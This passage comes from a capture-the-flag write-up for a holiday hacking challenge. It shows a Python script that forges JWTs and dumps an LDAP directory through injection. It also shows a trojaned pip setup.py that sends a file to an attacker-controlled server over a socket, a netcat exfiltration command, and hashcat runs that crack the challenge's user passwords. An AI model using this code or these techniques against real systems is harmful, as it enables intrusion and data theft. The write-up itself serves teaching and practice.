We now have password hashes for all the users! But really, we're after Santa's password. We could try to crack his password, but if we just Google it, it pops up on several sites.
Santa's password hash & password originally were
cdabeb96b508f25f97ab0f162eac5a04
and1iwantacookie
, but this was modified tod8b4c05a35b0513f302a85c409b4aab3
(001cookielips001
).Armed with that password, we can access the Santa Panel, where we find:
Figure 43: Letter to Santa
Solution
There was a lot of stuff going on in this question. First, we needed to use XSS to grab a copy of the JWT token, then we had to recover the secret and forge a new token.
Once we logged into the system, we found it was vulnerable to LDAP injection, and were able to dump all the users, and their passwords. Cracking Santa's password allowed us to access the letter from the Wizard of Oz.
We automated this attack with edb.py
, which dumps the LDAP database.
Here is edb.py
:
#!/usr/bin/env python3 import requests import sys import jwt import json SECRET_KEY='3lv3s' PROXY = "socks5h://localhost:31080" class EDB: def __init__(self, host='http://edb.northpolechristmastown.com'): self.host = host ses = requests.session() ses.proxies = { "http": PROXY, } self.ses = ses def make_jwt(self, user, dept="administrators", ou="human"): data = { 'uid': user, 'dept': dept, 'ou': ou, 'expires': '2018-08-16 12:00:47.248093+00:00', } token = jwt.encode(data, key=SECRET_KEY) return token.decode('utf-8') def login(self, user): token = self.make_jwt(user) self.ses.headers['np-auth'] = token resp = self.ses.post(self.host + "/login", data={ "auth_token": token }) resp.raise_for_status() #print(resp.text) resp = self.ses.get(self.host + "/home.html") resp.raise_for_status() def ldap_search(self, query): resp = self.ses.post(self.host + "/search", data={ "isElf": "True", "attributes": "*", "name": query, }) resp.raise_for_status() return resp.json() if __name__ == "__main__": db = EDB() db.login("santa.claus") all_data = db.ldap_search("name=))(department=it)(|(cn=") print(json.dumps(all_data, indent=True))
And this is edb.py
in action:
$ ./edb.py | head [ [ [ "cn=rudolph,ou=reindeer,dc=northpolechristmastown,dc=com", { "c": [ "US" ], "cn": [ "rudolph" ...
Alternatives
The website's robots.txt
page lists a single entry, http://edb.northpolechristmastown.com/dev/, which leads us to this LDIF file:
#LDAP LDIF TEMPLATE dn: dc=com dc: com objectClass: dcObject dn: dc=northpolechristmastown,dc=com dc: northpolechristmastown objectClass: dcObject objectClass: organization dn: ou=human,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: human dn: ou=elf,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: elf dn: ou=reindeer,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: reindeer dn: cn= ,ou= ,dc=northpolechristmastown,dc=com objectClass: addressbookPerson cn: sn: gn: profilePath: /path/to/users/profile/image uid: ou: department: mail: telephoneNumber: street: postOfficeBox: postalCode: postalAddress: st: l: c: facsimileTelephoneNumber: description: userPassword:
Knowing the LDAP structure would make it easier to pull out the passwords, but much of the work leading up to that would remain the same.
Easter Eggs
Story Page
Wintered logo is based on the Wicked stage musical poster.
Short video is based on video intro to Rudolph the Red-Nosed Reindeer
North Pole and Beyond
Stocking
The text field for entering the SHA1 hashes of the great book pages appears to have some placeholder text in it, 686579212121202d436f756e746572204861636b
. This is in hex and can be converted to ascii, hey!!! -Counter Hack
.
Exploration
- NPPD Siren
According to the need help page on the NPPD site, "In the event of an emergency, summon the NPPD by moving your mouse cursor back and forth over the menu bar of the website. Doing this from the infractions page gives optimal results." Doing so results in the video above where it looks like a siren.
- Star Wars robots references in http://nppd.northpolechristmastown.com/robots.txt
The robots.txt page for the nppd site has a number of robot references as user-agents.
- hk-47, a hunter-killer assassin droid
- threepio, an obvious reference to C3PO. There's a
sand-crawler-delay
variable set to '421' which could be a reference to the storm trooper, TK-421, who was ambushed on the Millenium Falcon, and incidentally is also the only named Storm Trooper in the original trilogy. - artoo, an obvious reference to R2D2. There's a
sand-crawler-delay
variable set to '2187' which is likely a reference to the cell that Princess Leia was in on the Death Star.
- Munchkins
In the Munchin BOLO, the munchkins disappeared after speaking something that sounded like 'puuurzgexgull'. This is most likely a reference to the word 'pyrzqxgl' which was a word described in the book 'The Magic of Oz'. A munchkin, incidentally named 'Bini Aru', like the munchkin in the BOLO, wrote down how to pronounce the word. The word was magical and could be used to transform a being into a different creature. Also, Boq is another munchkin named in the Land of Oz book series.
- Reindeer Speak
hhhhhhhhhhhhhh723yhmn03z2784mn1 4cv24 2 342 34 zx5p2342zx1 42 10xc 3912 934u xd528034y2dnryhrhndr23n 234f 2bd4 5 8g 7238g4508 s23425 On 11/15/2017 11:18 AM, admin@northpolechristmastown.com wrote: > Keep up the good job reindeer! > > > On 11/15/2017 11:17 AM, reindeer@northpolechristmastown.com wrote: >> t68 2`x4-`8- 28- 5t 3y=8 m89 cfqlhmniuxdk.hszv3ct79p137p2p t78 23t80 >> x 601x >> >> http://ghk.h-cdn.co/assets/cm/15/11/640x480/54ffe5266025c-dog1.jpg >> >> On 11/15/2017 10:28 AM, admin@northpolechristmastown.com wrote: >>> Hi, >>> >>> Welcome to your new account. >> >
The reindeer appear to be speaking. Or randomly typing.
Appendices
Command Execution with pip
Early on in the challenge, the EWA and EMI systems had some reliabilty issues. Using the DDE exploit it took a while to get any command execution to work. Any attempt to run a more complicated command would fail.
We weren't sure if our commands were failing due to quoting or escaping issues or
even how to tell. Eventually it was determined that even a previously known
working dir | nc host port
command was failing almost every time. Any
experiment we could come up with was tainted by the lack of reliability on the
backend. Not only was it a blind command injection exploit, but if an attempt
failed we had no way of knowing why. We had to run something we KNEW would
work, and that would confirm it had been executed.
We were able to use dir
and nc
to determine that Python was installed, and then
were able to run python -V
. Once we knew we could run Python and pass it
arguments, we ran pip:
python -m pip install https://my.vps.domain/test.tar.gz
A minute later, we got a hit for test.tar.gz
! The benefit of this method is
that the command itself does not require any special characters that may need
escaping. There are no quotes or pipes or backslashes to worry about. The fact
that pip
will initially request the file from our server also meant we knew the
phishing DDE exploit worked. We could use this method as a solid base to run
further experiments. Once the pip
command was worked out, the docx file did
not need to be changed between runs.
With pip
working, it was a simple matter of putting together a trojaned
setup.py
in the style of previous shenanigans seen in the wild
The first trojaned package was written by hand:
# setup.py from distutils.core import setup setup(name='upload_doc', version='1.2', ) #hax try: import base64 import socket with open("C:/GreatBookPage7.pdf", "rb") as f: document = f.read() encoded = base64.encodestring(document) s=socket.socket() s.connect(('my.vps.domain',44665)) s.send(encoded) s.close() except Exception as e: print("oops") print(e)
We then ran
python setup.py sdist
to build the upload_doc-1.2.tar.gz tarball. By copying this file to the VPS, and having pip install it, it would run our Python code. Unfortunately EWA/EMI was having a lot of issues at this time, and it took almost 2 days before we were able to see this work. Fortunately, because we were now using a known good docx file, we knew the problem was not on our end.
The trojanpkg.py module automates this by building a tarball in memory based on an arbitrary injected code block. This enables the destination address to be templated in on the fly, instead of hardcoded in the package. This enabled other members of the team to run the exploit code without having to edit the source to match their environment.
The trojanpkgweb.py module builds on top of trojanpkg.py to start up a web server that dynamically serves up a trojaned package for any url.
Cracking Passphrases
Finding a Wordlist
In question 2, we found Alabaster's password, which was pretty strong:
stream_unhappy_buy_loss
. During the course of the Hack, we found
some other passwords, but were only able to crack Santa's password
with a simple wordlist. Let's do some digging and see if we can't
figure out how Alabaster's password was generated.
Googling doesn't help too much, but a GitHub code search does. Searching for stream unhappy buy loss passphrase
, the 8th result is pw.py:
#!/usr/bin/env python3 # coding=utf-8 # Thanks to http://passphra.se/ words = [ "ability","able","aboard","about","above","accept","accident","according", "account","accurate","acres","across","act","action","active","activity", "actual","actually","add","addition","additional","adjective","adult","adventure", "advice","affect","afraid","after","afternoon","again","against","age", "ago","agree","ahead","aid","air","airplane","alike","alive", "all","allow","almost","alone","along","aloud","alphabet","already", ...
We can verify that all 4 of the words are in that list. The code is even nice enough to link us to http://passphra.se/, which seems like it'd be a handy service for anyone wanting to create some quick passwords.
Cracking the Passwords
In question 8, we recovered some LDAP password hashes. Let's see if we can't crack more of those. Hashcat is our password cracker of choice, but it can't do passphrases from a word list. We only have 1,949 words, and his password had 4 words chosen, so we can create a file with all the two-word combinations, then use Hashcat's combinator mode to try all combinations of two words on the left half and two words on the right half.
We'll start by downloading the pw.py file that we found, and then a quick script will create our 2-word combos:
#!/usr/bin/env python3 import itertools import pw for x in itertools.permutations(pw.words, 2): print(' '.join(x))
Some Makefile targets to help:
password_hashes.txt: edb.json cat edb.json |jq '.[][][]' -c|grep userPassword | jq '"\(.mail[0]):\(.userPassword[0])"' -r > password_hashes.txt password_combos.txt: ../tools/gen_password_combos.py ../tools/gen_password_combos.py > password_combos.txt ls -lh password_combos.txt wc -l password_combos.txt ldap_hashcat.txt: password_hashes.txt password_combos.txt hashcat -m 0 -a 1 password_hashes.txt password_combos.txt password_combos.txt -j ' ' --username || true hashcat -m 0 -a 1 password_hashes.txt password_combos.txt password_combos.txt -j ' ' --username --show | tee ldap_hashcat.txt
And then we can create our combos:
$ make password_combos.txt ../tools/gen_password_combos.py > password_combos.txt ls -lh password_combos.txt -rw-r--r-- 1 holiday staff 48M Jan 10 17:29 password_combos.txt wc -l password_combos.txt 3796652 password_combos.txt
A 50 MB file is quite reasonable. Next up, we'll fire up Hashcat:
$ make ldap_hashcat.txt hashcat -m 0 -a 1 password_hashes.txt password_combos.txt password_combos.txt -j ' ' --username || true
On a laptop, performance isn't great. So we got an AWS GPU cracking rig.
Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: password_hashes.txt Time.Started.....: Wed Jan 10 14:15:06 2018 (1 minute 8 secs) Time.Estimated...: Wed Jan 10 14:16:14 2018 (0 secs) Guess.Base.......: File (password_combos_left_underscore.txt), Left Side Guess.Mod........: File (password_combos_right_underscore.txt), Right Side Speed.Dev.#1.....: 27490.8 MH/s (15.27ms) Speed.Dev.#2.....: 27306.9 MH/s (15.27ms) Speed.Dev.#3.....: 27213.1 MH/s (15.31ms) Speed.Dev.#4.....: 27282.2 MH/s (15.28ms) Speed.Dev.#5.....: 27210.4 MH/s (15.26ms) Speed.Dev.#6.....: 27154.5 MH/s (15.29ms) Speed.Dev.#7.....: 27160.6 MH/s (15.29ms) Speed.Dev.#8.....: 27380.2 MH/s (15.31ms) Speed.Dev.#*.....: 218.2 GH/s
This behemoth can run through all 4-word password combinations for NTLM using the wordlist in about a minute. And running it for a minute costs less than a dollar!
When spinning up expensive AWS instances, don't go to sleep with them idling.
Here are the passwords we were able to crack this way:
User | Hash | Password | Source | Type |
---|---|---|---|---|
alabaster.snowball | 17e22cc100b1806cdc3cf3b99a3480b5 | power instrument gasoline film | EDB LDAP | MD5 |
bushy.evergreen | 3d32700ab024645237e879d272ebc428 | reason fight carried pack | EDB LDAP | MD5 |
holly.evergreen | 031ef087617c17157bd8024f13bd9086 | research accept cent did | EDB LDAP | MD5 |
jessica.claus | 16268da802de6a2efe9c672ca79a7071 | in attention court daughter | EDB LDAP | MD5 |
mary.sugerplum | b9c124f223cdc64ee2ae6abaeffbcbfe | mark poem doll subject | EDB LDAP | MD5 |
minty.candycane | bcf38b6e70b907d51d9fa4154954f992 | tight mass season may | EDB LDAP | MD5 |
pepper.minstix | d0930efed8e75d7c8ed2e7d8e1d04e81 | wolf how policeman dance | EDB LDAP | MD5 |
shimmy.upatree | d0930efed8e75d7c8ed2e7d8e1d04e81 | wolf how policeman dance | EDB LDAP | MD5 |
sparkle.redberry | 82161cf4b4c1d94320200dfe46f0db4c | receive couple late copy | EDB LDAP | MD5 |
tarpin.mcjinglehauser | f259e9a289c4633fc1e3ab11b4368254 | dozen age nation blind | EDB LDAP | MD5 |
wunorse.openslae | 9fd69465699288ddd36a13b5b383e937 | comfortable world yellow jungle | EDB LDAP | MD5 |
alabaster_snowball | 10e2fa00c44d10ca05d399f47ed13351 | Carried_mass_it_reader1 | EMI | NTLM |
Why Are These Passwords Insecure?
http://passphra.se/ is based off of this XKCD comic:
This comic explicitly mentions that these passwords are intended to keep you safe via online attacks, and not the offline attacks we were performing. With our GPU cracking rig, we were testing over 200 billion passwords per second, and these were designed to be resistant for 1,000 per second.
What's more, the wordlist was supposed to be 2,048 words, but only used 1,949, calling it "close enough." This seems like a small difference, but when you consider 4 word combinations, there are only 82% as many combinations with 1,949 words as with 2,048.
Would adding more words help? Yes, but a 5 word combination would still be crackable in less than a day and a half, and even a 6 word combination isn't out of reach for a determined (and well-funded) adversary.
Another solution is using better hashes, which are more computationally expensive to compute.